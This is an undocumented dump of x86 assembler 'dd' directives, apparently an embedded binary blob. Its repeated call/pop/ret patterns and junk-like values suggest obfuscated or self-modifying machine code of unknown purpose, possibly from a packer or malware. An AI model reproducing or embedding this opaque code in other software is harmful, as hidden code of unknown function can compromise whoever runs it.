		dd 0C90B2A23h, 0A422C605h, 2C5D2045h, 0C406202Ch, 9DC0790Fh
		dd 0C0A56CA6h, 0C0E464AEh, 83602036h, 0A4F305E9h, 6AD98Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8B4EE2C3h, 0E727FD95h, 4D858905h, 0E905E719h, 64h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 55C35141h, 4BA1C5A5h
		dd 8B0F3256h, 10h, 0BE9h, 2A51D300h, 0D6B0F049h, 3814B7C8h
		dd 0FC60F861h, 0C36153B4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 55C35545h, 0A2DE9EFBh, 2F8365E2h, 83F9C08Bh
		dd 0E70C81BDh, 9750005h, 2819BD83h, 740005E7h, 8B535019h
		dd 4B9B8C0h, 85890000h,	5E71775h, 0B4FA9D8Dh, 0D3FF05E9h
		dd 0BD83585Bh, 5E72819h, 50177400h, 4B9B853h, 85890000h
		dd 5E71775h, 0B19B9D8Dh, 0D3FF05E9h, 8160585Bh,	426107C8h
		dd 6112B01Ch, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 15h,	0DAC35646h, 60C08BEBh, 49C88160h, 0F36207Dh, 0F61DBBFh
		dd 38Ah, 0CEB70F00h, 0C18B4061h, 3820Fh, 8B660000h, 4EBFEh
		dd 8B000000h, 55006AF9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0C6B93FB5h, 64F59C5Dh, 89526BC7h
		dd 0E727759Dh, 0BF0F5E05h, 95858DFAh, 2305E713h, 0E72F09B5h
		dd 0BF665005h, 4892D4Fh, 68D0F24h, 31000000h, 0E719C98Dh
		dd 0F006A05h, 480h, 89BE6600h, 6A006A50h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0B6C7C351h, 0BCF4858Dh, 6A05EAh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 43FD19C3h
		dd 838803EFh, 666055E0h, 3CACD181h, 8B99D8Bh, 836105E7h
		dd 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0E02B4C3h, 43EB4A0Fh, 6FA7BF3Dh, 8D0F123Ch
		dd 6, 0A29B58Bh, 509005E7h, 505FF98Bh, 0F0F0BF66h, 8DBD8B90h
		dd 6A05E732h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 7B6F82B9h, 3DD11Ah, 10E9FC60h, 0E6000000h
		dd 0CBEDCEEAh, 44C8DD43h, 0C26DE6E4h, 61B09C02h, 8157006Ah
		dd 0D83B60CFh, 95FF5E54h, 5E71A4Dh, 8A0Fh, 9D8D0000h, 5EAA4AAh
		dd 89D3FFF9h, 0E71D81BDh, 0FD85FF05h, 5005E714h, 80EE95Fh
		dd 0E80000h, 5D000000h,	0BCFEED81h, 6A05EAh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 488D10C3h
		dd 331D16C5h, 0AE944h, 0C01D0000h, 0FB94F673h, 0BC477DBFh
		dd 0BD815F50h, 5E72715h, 7D0h, 177860Fh, 0EE810000h, 1DC2C086h
		dd 29799D8Bh, 958905E7h, 5E707D1h, 100E381h, 0BE660000h
		dd 840F5B4Eh, 4, 18B9BE66h, 850FDB0Bh, 0F0h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0BAC35242h, 21DBA970h
		dd 0BB8ABD83h, 0F0005EAh, 5184h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 72F3C6F7h
		dd 0BD8B6A97h, 5E70791h, 0BDE9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0E75B76BEh
		dd 0BF66C2FCh, 85C72242h, 5EABB8Ah, 1, 0EE9h, 154BDE00h
		dd 82CBA693h, 90A0F0D9h, 0E92348ABh, 13h, 58C49AB7h, 0D3088C58h
		dd 0F6DFDAC3h, 0D3560A58h, 0E9590111h, 5Eh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 25C35646h, 672D0C3Dh
		dd 0F0A55A1h, 681h, 699D0900h, 6005E702h, 6630D680h, 614069B9h
		dd 0BB8A85C7h, 5EAh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 9D8D0AC3h, 5E72979h
		dd 17299589h, 238105E7h, 0FFFFFEFFh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 37C35242h, 0D0A59EF0h, 0DB8C66C1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 2AC35747h
		dd 0BE09ABAFh, 0EE917488h, 0C3F6F8F5h, 93840F04h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0E4C8C356h, 0A4E21B5Ah, 0AA5EF5BEh, 2995FF12h
		dd 6A05E713h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0D6A4C353h, 810F72D4h,	6, 207D8D89h
		dd 505005E7h, 0ADBF5652h, 5F7AE00Fh, 585A310Fh,	6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0A53FC355h, 810FA967h, 6,	21918D29h, 2FE905E7h
		dd 6A000004h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 5EA1C357h, 0B0F88Dh, 6870Fh, 0F6810000h
		dd 581F1671h, 6A70E6FCh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 81F2C353h, 6A71E4C6h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 45E9C350h, 8E3C2D0Bh, 3E9A7157h, 89D8B60Fh
		dd 0E707B1B5h, 6BA05h, 9D890000h, 5E71D4Dh, 8166C38Bh
		dd 0C1986EEFh, 6A04E8h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0F08AD5C3h, 0CFE5FF8Bh, 0BD8B6F01h
		dd 5E71BD5h, 66FAB70Fh,	6AE2F7h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 41E4C5C3h, 0A3DB509h
		dd 0D82B05E7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	0C1C35343h, 89796929h, 0E72C618Dh, 8B669305h, 8E0F50F9h
		dd 0
		dd 57006A93h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0E9EAB6Eh, 0BE66C9D3h, 0B5FF997Ah, 5E72715h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 51C35040h
		dd 5FF857FEh, 21C195FFh, 0F18B05E7h, 810F00B0h,	9, 3800Fh
		dd 0B70F0000h, 6A70E6F1h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 2666C356h, 0E24713B2h
		dd 71E45658h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ah,	47C35646h, 0B3A19DF5h, 8B669B7Eh, 0F613CFBh, 25D83h
		dd 9A2ABF00h, 0B60F0CD6h, 0BA5E57D8h, 6, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 14h, 43C35040h, 381BD33h
		dd 0C38B05E7h, 3870Fh, 8B660000h, 4E8C1FEh, 0E2F766F5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0A8C35343h
		dd 0B2D70FEh, 0E70CADB5h, 66D82B05h, 66A6B4BFh,	6A58F78Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 3C11C351h, 97BF6632h, 0F88B6639h,	880FD82Bh
		dd 1BEh, 12798D89h, 7B905E7h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 5188C353h
		dd 2171B58Bh, 7E905E7h,	0F000000h, 0D223ADFEh, 0C18341C2h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0D9792071h, 9D89583Dh, 5E7177Dh,	11E9h
		dd 2D64AB00h, 8DA54DEFh, 20A8750Bh, 17768216h, 0D93BE701h
		dd 13C860Fh, 890F0000h,	0
		dd 52D98C66h, 19099D89h, 0BE5E05E7h, 7000D378h,	0F04C1F6h
		dd 0F984h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 4E6BCDA2h, 12E99A6Dh, 0C9000000h
		dd 0C63CA572h, 0C932823Ah, 340AF39h, 0EF61DABh,	899FBFFBh
		dd 95FF1968h, 5E71329h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0A0C35141h, 52006A5Bh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0F60E0B10h
		dd 0BF66C32Bh, 343DBCDCh, 0F000008h, 6986h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 11E8ECh, 1C070000h, 549DE654h, 0FA1CADE1h, 87174CA6h
		dd 66D39DDFh, 0EB8EE81h, 0A19D895Eh, 0E905E71Bh, 4Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3C35242h, 41529E27h
		dd 13A58589h, 0C08B05E7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0A3C35343h, 246DB58Bh, 0C38B05E7h, 6AD88Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0F78BA1C3h, 21D185C7h, 335705E7h, 6A7920h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 6F599DC3h
		dd 9E6ACF88h, 8B46E6BFh, 0E72839BDh, 0B1850105h, 8B05E712h
		dd 53006AC0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 91BD8B7Bh, 8105E717h, 0E72715BDh, 7D005h
		dd 2D850F00h, 0F000000h, 85FFFEB7h, 5E72715h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 58C35343h, 0C2BF5AD0h
		dd 0F6110EACh, 2715B5FFh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 448E6BC3h, 52999F52h
		dd 0FF5EC1C2h, 0E721C195h, 0E890F05h, 60000000h, 0B1BD8Bh
		dd 810F05E7h, 0
		dd 78B89061h, 2B123456h, 0E72965BDh, 0BD9D8D05h, 0E905EAC4h
		dd 0FFFFF826h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	29C35646h, 0EE873h, 0BB430000h,	2574EC17h, 543D3D9Ch
		dd 606B2F41h, 5EF6BF0Fh, 6AC18Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 7332FCC3h, 0E02D2768h
		dd 8B1BEE5Fh, 0E708B1B5h, 0E1BE6605h, 4EBF6h, 53000000h
		dd 0ED5DBF66h, 50006A5Eh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0F781B023h, 374A7B97h
		dd 1395858Dh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 49E35DC3h, 6668D3FFh, 0DE75CE81h
		dd 50F7B70Fh, 8EABF66h,	6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 58FFC350h
		dd 0DD31684Dh, 13BF66BEh, 60006AAFh, 12CD9D8Bh,	8D8905E7h
		dd 5E701CDh, 9006A61h, 0E711E58Dh, 0D9858D05h, 6605EAC6h
		dd 252BC781h, 0BF05C083h, 64CCC703h, 27D9BD03h,	665005E7h
		dd 489FE8Bh, 77BE6624h,	6A006ACEh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 15B9C350h
		dd 2A986529h, 8B6660DAh, 4FA8B9C8h, 6A611A87h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0FFD9462Ah, 0E71A4D95h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0E3DA6F7Bh
		dd 314C785Ch, 0E70A6985h, 14E805h, 8FB00000h, 0F1A3AC0Dh
		dd 7E5B7F58h, 5D6F5473h, 2AC9250Bh, 0B58BC491h,	5E705E9h
		dd 0AA9D8D5Eh, 6605EAA4h, 0FFF072BFh, 498D89D3h, 0FF05E718h
		dd 0E714FD85h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 13AF42F6h, 0C56A6452h
		dd 57E95F51h, 0E800000Fh, 0
		dd 0E3ED815Dh, 0F905EAC6h, 2715BD81h, 7D005E7h,	860F0000h
		dd 178h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 18h,	4AC35545h, 0DE2805CCh, 1AE18589h, 816605E7h, 8B400AEFh
		dd 0E71BA59Dh, 0A5B58B05h, 8105E71Ah, 100E3h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 5D3A03C1h, 0BF606168h, 1841EA98h, 0B61C78Bh,	0C1850FDBh
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 112AC357h, 213DB58Bh, 0BD8305E7h
		dd 5EAC53Ah, 48840F00h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 900BC353h
		dd 65BD8B2Ch, 0E905E706h, 77h, 10E8h, 377C6B00h, 381B886Bh
		dd 0F5A4FA2Ah, 9B234DCh, 38C0FF7h, 66000000h, 0C75EF18Bh
		dd 0EAC53A85h, 105h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 74B40530h, 699149EDh
		dd 0CE9h, 21DDF00h, 5DB7071Dh, 0B2276783h, 15E92Ah, 0F6810000h
		dd 6387B407h, 0C53A85C7h, 5EAh,	81660000h, 8D3E2BE7h, 0E71BA59Dh
		dd 8B41BF05h, 238111C6h, 0FFFFFEFFh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 35C35646h, 0AC5E479h, 661DCF31h
		dd 41F4D781h, 0F8DB8C66h, 0F04C3F6h, 9B84h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 960C7097h, 0FF1E1624h, 0E7132995h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 610B39ADh, 898444E8h, 0E72BD595h, 52509005h,	0BE85250h
		dd 18000000h, 0B1AAF083h, 0A87EEED8h, 0F5EEAE3h, 5AFA8B31h
		dd 5A310F58h, 6A905058h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0B612C355h,	0B4F2E98Eh
		dd 0B58B120Bh, 5E7202Dh, 49BE9h, 0FC535300h, 0B05E5Eh
		dd 1B598D89h, 70E605E7h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 0FAC35545h, 6B5D8F80h, 71E4FABEh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0BFC35141h, 8166561Dh
		dd 5F8E3AC6h, 0BAD8B60Fh, 6, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 2FC35343h, 6AC38B41h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 18ACC356h, 10E9D9h, 0E94D0000h, 0C6F964F7h, 88D4749Dh
		dd 5D5B743Ah, 0DFBE93DFh, 0C158DA62h, 6A04E8h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 5D7170C3h, 1D419D31h, 10E905E7h, 90000000h, 30A5BE9Ch
		dd 20113043h, 51CE46D9h, 66EF295Fh, 6AE2F7h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0FA6B8C3h
		dd 8166F6BFh, 2BF513EFh, 0F6BF0FD8h, 2F119529h,	509305E7h
		dd 832E64BFh, 0E8505E20h, 5, 603E9EDBh,	6810FF7h, 0F000000h
		dd 88h,	6A935E00h, 3E85700h, 20000000h,	895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 5474C357h, 59B12DBEh, 3430BF66h
		dd 2715B5FFh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 8BDB6BC3h, 4CB56CB8h, 9D89E7CCh
		dd 5E70C21h, 53F78166h,	0C195FFE4h, 6A05E721h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 4FE0C352h, 8B66E8A4h, 89B529F1h, 0F05E717h, 680h, 0A3F78100h
		dd 0B012D51Ah, 41958900h, 0E605E715h, 50006A70h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 0BF674B20h, 8EBF5A09h, 0E43AA82Eh, 9DC78171h, 0E85DD9BFh
		dd 0Eh,	8D24101h, 0E3BE3229h, 1071CDA0h, 895312E3h, 0E707C195h
		dd 3C5E5E05h, 65830F61h, 31000002h, 0E727358Dh,	50BE6605h
		dd 0D8B60F79h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0DCC35747h, 0AB1468CAh,	0BAEA5FBCh, 6, 99BFEE81h
		dd 0C38B079Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	89C35545h, 8BC6FF96h, 4E8C1F7h,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 19h, 0B6C35747h, 46AA7FE1h
		dd 0E2F76659h, 25458589h, 0D82B05E7h, 6870Fh, 66560000h
		dd 5FE4F6BFh, 0F3BF0F58h, 880FD82Bh, 1C0h, 64D5D681h, 7B90329h
		dd 8B000000h, 0E73295B5h, 0C18305h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 1AC35242h, 86E98D9h, 89479775h
		dd 0E716DDB5h, 0FD93B05h, 17B86h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0A8844ECh
		dd 0EE31FBE6h, 0FA8BA155h, 8BF8B70Fh, 0E72C49B5h, 0D98C6605h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 82C35646h
		dd 8A392AA1h, 0BEE9228Ch, 0F78B6668h, 0F04C1F6h, 0EC84h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 95FFC2FBh, 5E71329h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 45C35040h, 82862C5Bh, 89AC8886h
		dd 0E70AD585h, 6A5B05h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0AA6D5EC3h, 8BB0B6ACh, 9D8D89FAh
		dd 2B05E713h, 76BF66C3h, 8343DC8h, 860F0000h, 65h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 5DC35242h, 0E4639894h
		dd 0B58B4F17h, 5E72991h, 63E9h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0F95CF241h
		dd 0A6CF740Eh, 830FB8CFh, 0Dh, 870F60h,	0B9000000h, 7B4B3869h
		dd 6AC08B61h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0C60DC352h, 68A0Fh, 8D890000h
		dd 5E729D9h, 0D88BC38Bh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 69C35343h, 0AEAD4BB6h, 5D2B79E2h, 850Fh
		dd 0B5890000h, 5E72155h, 297985C7h, 71D705E7h, 6A77ECh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0F28067C3h, 66AF2F85h, 95806ABFh, 0FE919h, 3F1D0000h
		dd 0DBBB0791h, 3AFD267Bh, 0C3B96297h, 81C08B38h, 346C81C7h
		dd 15BD8134h, 0D005E727h, 0F000007h, 2A85h, 38CE8100h
		dd 0FF3EFA5Eh, 0E7271585h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0FF646E9Ch
		dd 0E72715B5h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0F38BBDB5h, 0C195FFFCh
		dd 0E805E721h, 0Eh, 1C479D2Bh, 8102D994h, 897B9476h, 9D091838h
		dd 5E72BC9h, 0F40905Eh,	0BD83F3B7h, 5E7178Dh, 0BC840F00h
		dd 89000000h, 0E72E359Dh, 3DBD8305h, 5E718h, 0A9840Fh
		dd 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 9E916C3h, 0EB000000h, 1ADC3315h, 0DCA5D28Ch,	22D0FABFh
		dd 8D95FF46h, 8B05E717h, 0E70689BDh, 810F05h, 0B000000h
		dd 60840FC0h, 0E8000000h, 14h, 0AB09475h, 2B84343Eh, 48616B3Eh
		dd 992FDF89h, 5F65F6C2h, 6E9h, 2B404700h, 5E285F4Ah, 4D248D8Dh
		dd 0BD8905E7h, 5E7017Dh, 5B8h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 93297BF4h
		dd 0E1FFA47Ah, 0E46DE81h, 83FC0C00h, 0E70229BDh, 840F0005h
		dd 679h, 5E95260h, 40000000h, 7A94679Ah, 8166535Bh, 58BC8CF0h
		dd 3DBD8361h, 5E718h, 657840Fh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 42F316C3h
		dd 0CA7D280Ah, 66D9078Fh, 73B5F781h, 4458D8Dh, 665205E7h
		dd 5F0004BFh, 12E9h, 0E8C59200h, 0F950D648h, 0B4EF9E5Ah
		dd 1E293C96h, 0C7F0E4EEh, 0B27C8401h, 95BD8944h, 8105E708h
		dd 99CFCB01h, 52006A14h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 99F6AEB9h, 9CF85A6Bh, 41C77286h
		dd 706B3404h, 50006ACEh, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 44181F2h,	31D6D710h, 6A006Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0F688BC3h, 0D6CFA484h, 880F529Dh, 4,	72D0BF66h, 3995015Eh
		dd 8D05E720h, 0E7044585h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0C0D1C77Ah
		dd 0CE8166A7h, 5090317Ch, 11E852h, 5470000h, 0BAF48AF1h
		dd 0CF297F76h, 52528905h, 60FB828Dh, 310F5F61h,	19BC25BEh
		dd 50585A08h, 90FA8B66h, 3C99D01h, 95FF05E7h, 5E70229h
		dd 8ED0F781h, 0BF66371Dh, 8D8D1FC3h, 5E70445h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 9BC35242h, 5CF241A1h
		dd 8B740EF9h, 0E70331BDh, 1C705h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 2966C350h, 441C710h,	0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 9EC35343h
		dd 93245990h, 14C4B87h,	0E7145D85h, 0FC00B05h, 0AD84h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0C1B12543h, 8D8D9EB3h, 5E74D24h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0D5C35545h, 0DDE311C5h
		dd 5B8A8h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 8D8914C3h, 5E705E9h, 1C498D89h
		dd 0F85605E7h, 6AE1FF5Eh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0F5C9C355h,	0CE8h
		dd 0CC630000h, 7EE667CCh, 0CF29150h, 92BF6698h,	8D8D5FB4h
		dd 5E70445h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	0C5C35242h, 8426E09Eh, 7C01C7F8h, 6A44AA72h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 8CAEC357h, 0F3E1E286h, 181A597h, 1499CFCBh, 10E9h, 535FBB00h
		dd 6331D63Bh, 8733868Fh, 365AE1ABh, 441C7B7h, 0CE78753Ch
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0DFC35545h
		dd 81C2992Fh, 0D7100441h, 6A31D6h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 72BA38C3h, 0B1546DB8h
		dd 0F864D042h, 9D29006Ah, 5E71811h, 8DF2BF0Fh, 0E7044585h
		dd 0BF0F6005h, 10E9DEh,	0A8750000h, 76821620h, 0F2E70117h
		dd 88522FF2h, 5061E878h, 0C4BE5250h, 0F0C6A69h,	6E95031h
		dd 4F000000h, 716AF1Fh,	585A5FE6h, 89240489h, 0E729C19Dh
		dd 2995FF05h, 5605E702h, 6850Fh, 8E0F0000h, 0
		dd 458D8D5Fh, 2B05E704h, 0E71401B5h, 1C705h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0F5FDC350h, 80F5A03Bh, 0BD03BF70h, 5E70B11h
		dd 441C7h, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 820EC353h, 398DB3BEh, 13E8h, 9D0A5900h
		dd 0E23AA650h, 4035928Dh, 45DDEE49h, 58FA36E7h,	1A599501h
		dd 0B5F05E7h, 56840FC0h, 66000000h, 8D8219BEh, 0E74D248Dh
		dd 39BD8B05h, 0B805E724h, 5, 0E1FFF18Bh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Dh, 79C35545h, 0CE22BB10h
		dd 0AD5CE6B5h, 13E969h,	12050000h, 7A59F0Eh, 0F77213CFh
		dd 2AFD9647h, 0E1A6190Dh, 458D8D4Fh, 6A05E704h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 351C355h, 89B36F0Ah,	0E704A195h, 0C7FE8B05h,	0CA95A501h
		dd 0CB018154h, 0E91499CFh, 11h,	28011E92h, 8ECB42BAh, 16EF90E4h
		dd 0EB53CF47h, 441C7AAh, 0CE5F5969h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 1C35242h, 7C3E828Eh, 10044181h
		dd 6031D6D7h, 17840Fh, 12E90000h, 39000000h, 444B1FCBh
		dd 9AC61C39h, 4732E6Dh,	99BA590Eh, 0CDF681E7h, 613BD763h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0C217E1C3h, 0ADF5D794h, 1603628h,	0E7168185h
		dd 0EE95605h, 0DC000000h, 6102F9E8h, 4BB4B241h,	3B36367Bh
		dd 8D6158ABh, 0E7044585h, 15860F05h, 60000000h,	9E9h, 0FDCA9B00h
		dd 4E731876h, 8166E8E5h, 61D5C3E8h, 2C9DB501h, 0E99005E7h
		dd 11h,	566E7EBCh, 0D18FC45Fh, 0B61B8ED8h, 59507625h, 5F565064h
		dd 49BD8990h, 0FF05E72Bh, 0E7022995h, 19B58B05h, 8D05E72Fh
		dd 0E704458Dh, 0EE905h,	827A0000h, 0B8281FF2h, 0E443C463h
		dd 8D67F9F7h, 1C7h, 10E80000h, 0C0000000h, 71B0E1E1h, 0BD5F059Dh
		dd 0C9FA0140h, 89F7D471h, 0E7162D9Dh, 41C75F05h, 4, 8B66F500h
		dd 0FC00BF9h, 4884h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 21F666CDh, 2B359D29h
		dd 8D8D05E7h, 5E74D24h,	68D0Fh,	0BD8B0000h, 5E72B01h, 0F7FABE66h
		dd 5B8h, 0D9958900h, 0FF05E72Ah, 0E9CA03E1h, 0FFFFF0C7h
		dd 13E9h, 6135DD00h, 6FA28D72h,	83C1A11Bh, 0B123BAEBh
		dd 0EFA66F77h, 16ADB58Bh, 0C18B05E7h, 0AE9h, 96D4AA00h
		dd 0A968D51Ch, 0EB59B5E3h, 4, 0E830F00h, 60000000h, 46FCC981h
		dd 858966DEh, 5E701BDh,	918D8961h, 0BE05E722h, 143CFC27h
